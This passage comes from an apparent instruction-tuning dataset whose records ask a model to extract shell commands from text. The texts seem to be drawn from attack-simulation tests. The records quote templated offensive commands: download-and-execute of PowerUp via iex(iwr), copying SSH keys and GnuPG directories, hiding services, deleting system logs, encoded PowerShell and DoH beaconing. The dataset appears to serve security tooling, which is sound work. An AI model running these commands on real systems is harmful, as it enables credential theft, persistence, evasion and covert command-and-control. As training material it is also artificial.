}\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For setting up a user whose username includes a trailing space, run the command: New-LocalUser -Name \"Administrator \" -NoPassword; By running the following commands, you can create a service and modify its security descriptor to prevent it from appearing in service enumeration tools:\nsc.exe create #{service_name} binPath= \"#{executable_command}\"\nsc sdset #{service_name} \"D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)\"",
    "output": "{\"command_list\": [\"New-LocalUser -Name \\\"Administrator \\\" -NoPassword\", \"sc.exe create #{service_name} binPath= \\\"#{executable_command}\\\"\\nsc sdset #{service_name} \\\"D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To copy a file from a remote server to your local machine, use the following command: sftp #{username}@#{remote_host}:#{remote_file} #{local_path}\n; To download a file from the web, you can utilize certutil's URL cache feature with the following command: cmd /c certutil -urlcache -split -f #{remote_file} #{local_path}",
    "output": "{\"command_list\": [\"sftp #{username}@#{remote_host}:#{remote_file} #{local_path}\\n\", \"cmd /c certutil -urlcache -split -f #{remote_file} #{local_path}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The system log file can be deleted by executing rm via osascript's shell script feature, which needs admin privileges, using the command: osascript -e 'do shell script \"rm #{system_log_path}\" with administrator privileges'\n; To delete the system log file via Finder, use the following command: osascript -e 'tell application \"Finder\" to delete POSIX file \"#{system_log_path}\"'",
    "output": "{\"command_list\": [\"osascript -e 'do shell script \\\"rm #{system_log_path}\\\" with administrator privileges'\\n\", \"osascript -e 'tell application \\\"Finder\\\" to delete POSIX file \\\"#{system_log_path}\\\"'\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To copy private SSH keys on a FreeBSD system to a staging folder, use the following command:\nmkdir #{output_folder}\nfind #{search_path} -name id_rsa 2>/dev/null -exec rsync -R {} #{output_folder} \\;; The process involves creating a staging folder and copying GnuPG directories with this rsync command: mkdir #{output_folder}\nfind #{search_path} -type d -name '.gnupg' 2>/dev/null -exec rsync -Rr {} #{output_folder} \\;\nexit 0\n",
    "output": "{\"command_list\": [\"mkdir #{output_folder}\\nfind #{search_path} -name id_rsa 2>/dev/null -exec rsync -R {} #{output_folder} \\\\;\\n\", \"mkdir #{output_folder}\\nfind #{search_path} -type d -name '.gnupg' 2>/dev/null -exec rsync -Rr {} #{output_folder} \\\\;\\nexit 0\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To execute powershell.exe with variations of the -EncodedCommand parameter and encoded arguments, use the following command: Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop; To execute an arbitrary command with obfuscated PowerShell, which outputs \"Hello, from PowerShell!\", use the following command: powershell.exe -e  #{obfuscated_code}",
    "output": "{\"command_list\": [\"Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop\", \"powershell.exe -e  #{obfuscated_code}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To select desired ports for packet capture, use the following command: pktmon.exe filter add -p 445; To capture packets for a few seconds, you can use the following command: sudo #{program_path} -i #{ifname} -t 3",
    "output": "{\"command_list\": [\"pktmon.exe filter add -p 445\\n\", \"sudo #{program_path} -i #{ifname} -t 3\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test generates a high volume of DoH queries to evaluate detection thresholds, executed via the command: for($i=0; $i -le #{query_volume}; $i++) { (Invoke-WebRequest \"#{doh_server}?name=#{subdomain}.$(Get-Random -Minimum 1 -Maximum 999999).#{domain}&type=#{query_type}\" -UseBasicParsing).Content }; For simulating low-volume DoH beaconing to evade detection, first change directory to the Atomics folder and run this script: \nSet-Location \"PathToAtomicsFolder\"\n.\\T1572\\src\\T1572-doh-beacon.ps1 -DohServer #{doh_server} -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type} -C2Interval #{c2_interval} -C2Jitter #{c2_jitter} -RunTime #{runtime}\n",
    "output": "{\"command_list\": [\"for($i=0; $i -le #{query_volume}; $i++) { (Invoke-WebRequest \\\"#{doh_server}?name=#{subdomain}.$(Get-Random -Minimum 1 -Maximum 999999).#{domain}&type=#{query_type}\\\" -UseBasicParsing).Content }\\n\", \"Set-Location \\\"PathToAtomicsFolder\\\"\\n.\\\\T1572\\\\src\\\\T1572-doh-beacon.ps1 -DohServer #{doh_server} -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type} -C2Interval #{c2_interval} -C2Jitter #{c2_jitter} -RunTime #{runtime}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr 